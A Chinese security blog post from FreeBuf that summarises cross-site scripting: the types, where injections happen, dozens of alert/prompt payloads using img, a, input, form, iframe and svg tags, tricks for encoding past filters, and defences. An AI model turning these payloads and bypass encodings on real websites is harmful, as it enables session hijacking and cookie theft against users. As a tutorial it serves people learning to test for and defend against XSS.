freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

XSS小结
MrM 2021-07-13 00:08:56 225842

XSS是什么?

XSS全称跨站脚本(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故缩写为XSS。跨站点脚本(XSS)攻击是一种注射型攻击,攻击者在可信的网页中嵌入恶意代码,用户访问可信网页时触发XSS而被攻击。

XSS会造成那些危害?

攻击者通过Web应用程序发送恶意代码,一般以浏览器脚本的形式发送给不同的终端用户。当一个Web程序的用户输入点没有进行校验和编码,将很容易的导致XSS。

网络钓鱼,包括获取各类用户账号;

窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作;

劫持用户(浏览器)会话,从而执行任意操作,例如非法转账、强制发表日志、电子邮件等;

强制弹出广告页面、刷流量等;

网页挂马;

进行恶意操作,如任意篡改页面信息、删除文章等;

进行大量的客户端攻击,如ddos等;

获取客户端信息,如用户的浏览历史、真实ip、开放端口等;

控制受害者机器向其他网站发起攻击;

结合其他漏洞,如csrf,实施进一步危害;

提升用户权限,包括进一步渗透网站;

传播跨站脚本蠕虫等

XSS是如何产生的

通过在用户端注入恶意的可执行脚本,若服务器对用户的输入不进行处理或处理不严,则浏览器就会直接执行用户注入的脚本。

XSS常见出现漏洞的地方

  1. 数据交互的地方

get、post、cookies、headers

反馈与浏览

富文本编辑器

各类标签插入和自定义

数据输出的地方

用户资料

关键词、标签、说明

文件上传

XSS的分类

反射性XSS

存储型XSS

DOM型XSS

反射性XSS

又称非持久型XSS,这种攻击方式往往具有一次性,只在用户单击时触发。

常见注入点

网站的搜索栏、用户登录入口、输入表单等地方,常用来窃取客户端cookies或钓鱼欺骗。

攻击方式

攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接受该目标用户的请求并进行处理,然后服务器把带有XSS的代码发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。

存储型XSS

又称持久型XSS,比反射型XSS更具有威胁性,并且可能影响到Web服务器自身的安全。攻击脚本将被永久的存放在目标服务器的数据库或文件中。

常见注入点

论坛、博客、留言板、网站的留言、评论、日志等交互处。

攻击方式

攻击者在发帖或留言的过程中,将恶意脚本连同正常信息一起注入到发布内容中。随着发布内容被服务器存储下来,恶意脚本也将永久的存放到服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本就会在用户的浏览器中得到执行。

DOM型XSS

DOM(Document object model),使用DOM能够使程序和脚本能够动态访问和更新文档的内容、结构和样式。

DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象的一种漏洞。DOM型XSS是基于js上的。不需要与服务器进行交互。

注入点

通过js脚本对对文档对象进行编辑,从而修改页面的元素。也就是说,客户端的脚本程序可以DOM动态修改页面的内容,从客户端获取DOM中的数据并在本地执行。由于DOM是在客户端修改节点的,所以基于DOM型的XSS漏洞不需要与服务器d端交互,它只发生在客户端处理数据的阶段。

攻击方式

用户请求一个经过专门设计的URL,它由攻击者提供,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本,当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存在XSS漏洞。

常见标签

<img>标签

利用方式1

<imgsrc=javascript:alert("xss")>

<IMGSRC=javascript:alert(String.formCharCode(88,83,83))>

<imgscr="URL"style='Xss:expression(alert(/xss));'

<!--CSS标记xss-->

<imgSTYLE="background-image:url(javascript:alert('XSS'))">

XSS利用方式2

<imgsrc="x"onerror=alert(1)>

<imgsrc="1"onerror=eval("alert('xss')")>

XSS利用方式3

<imgsrc=1onmouseover=alert('xss')>

<a>标签

标准格式

<ahref="https://www.baidu.com">baidu</a>

XSS利用方式1

<ahref="javascript:alert('xss')">aa</a>

<ahref=javascript:eval(alert('xss'))>aa</a>

<ahref="javascript:aaa"onmouseover="alert(/xss/)">aa</a>

XSS利用方式2

<script>alert('xss')</script>

<ahref=""onclick=alert('xss')>aa</a>

利用方式3

<ahref=""onclick=eval(alert('xss'))>aa</a>

利用方式4

<ahref=kycg.asp?ttt=1000onmouseover=prompt('xss')y=2016>aa</a>

input标签

标准格式

<inputname="name"value="">

利用方式1

<inputvalue=""onclick=alert('xss')type="text">

利用方式2

<inputname="name"value=""onmouseover=prompt('xss')bad="">

利用方式4

<inputname="name"value=""><script>alert('xss')</script>

<form>标签

XSS利用方式1

<formaction=javascript:alert('xss')method="get">

<formaction=javascript:alert('xss')>

XSS利用方式2

<formmethod=postaction=aa.asp?onmouseover=prompt('xss')>

<formmethod=postaction=aa.asp?onmouseover=alert('xss')>

<formaction=1onmouseover=alert('xss)>

XSS利用方式3

<!--原code-->

<formmethod=postaction="data:text/html;base64,<script>alert('xss')</script>">

<!--base64编码-->

<formmethod=postaction="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

<iframe>标签

XSS利用方式1

<iframesrc=javascript:alert('xss');height=5width=1000/><iframe>

XSS利用方式2

<iframesrc="data:text/html,&lt;script&gt;alert('xss')&lt;/script&gt;"></iframe>

<!--原code-->

<iframesrc="data:text/html;base64,<script>alert('xss')</script>">

<!--base64编码-->

<iframesrc="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

XSS利用方式3

<iframesrc="aaa"onmouseover=alert('xss')/><iframe>

XSS利用方式3

<iframesrc="javascript&colon;prompt&lpar;`xss`&rpar;"></iframe>

svg<>标签

<svgonload=alert(1)>

XSS编码绕过

js编码

HTML实体编码

URL编码

String.fromCharCode编码

在线xss转码:https://www.toolmao.com/xsstranser

JS编码

JS提供了四种字符编码的策略,

三个八进制数字,如果数字不够,在前面补零,如a的编码为\141

两个十六进制数字,如果数字不够,在前面补零,如a的编码为\x61

四个十六进制数字,如果数字不够,在前面补零,如a的编码为\u0061

对于一些控制字符,使用特殊的C类型的转义风格,如\n\r

HTML实体编码

命名实体

&开头,以分号结尾的,如<的编码为&1t;

字符编码

十进制,十六进制的ASCII码或者Unicode字符编码。样式为&#数值;

<的编码为

&#60;(10进制)

&#x003c;(16进制)

URL编码

这里为url全编码,也就是两次url编码

alert的url全编码为%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34

String.fromCharCode编码

alert的编码为String.fromCharCode(97,108,101,114,116)

XSS的防御

使用XSS Filter

输入过滤

  1. 输入验证

    对用户提交的数据进行有效验证,仅接受指定长度范围内的,采用适当格式的内容提交,阻止或者忽略除此以外的其他任何数据。

    常见的检测或过滤:

输入是否仅仅包含合法的字符

输入字符串是否超过最大长度的限制

输入如果为数字,数字是否在指定的范围内

输入是否符合特定的格式要求,如邮箱、电话号码、ip地址等

数据消毒

除了在客户端验证数据的合法性,输入过滤中最重要的还是过滤和净化有害的输入,例如如下常见的敏感字符:

||<> ' "&# javascript expression

输出编码

对输出的数据进行编码,如HTML编码,就是让可能造成危害的信息变成无害。

白名单和黑名单

定制过滤策略

web安全编码规范

防御DOM-Based XSS

两点注意点:

  1. 避免客户端文档重写、重定向或其他敏感操作,同时避免使用客户端数据,这些操作尽量在服务端使用动态页面来实现。

  2. 分析和强化客户端Javascript代码,尤其是一些受到影响的Dom对象

其他防御方式

Anti_XSS

微软开发的,.Net平台下的,用于方式XSS攻击的类库,它提供了大量的编码函数来对用户输入的数据进行编码,可以实现基于白名单的输入的过滤和输出编码。

HttpOnly Cookie

当Cookie在消息头中被设置为HttpOnly时,这样支持Cookie的浏览器将阻止客户端Javascript直接访问浏览器中的cookies,从而达到保护敏感数据的作用。

Noscript

Noscript是一款免费的开源插件,该插件默认禁止所有脚本,但可以自定义设置允许通过的脚本。

WAF

使用WAF,比如软WAF,硬WAF、云WAF等。

交流qq:3542167150

# 渗透测试 # web安全 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 MrM 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
渗透小秘圈
漏洞
src挖洞思路
xss
xss
Web安全-XSS
MrM LV.6
渗透测试拜师商务合作v:webMsec
  • 51 文章数
  • 168 关注者
OSCP-Vulnhub靶机记录-LordoftheRoot-walkthrough
2022-10-01
OSCP-Vulnhub靶机记录-Development-walkthrough
2022-09-28
OSCP-Vulnhub靶机记录-GoldenEye-walkthrough
2022-09-27
文章目录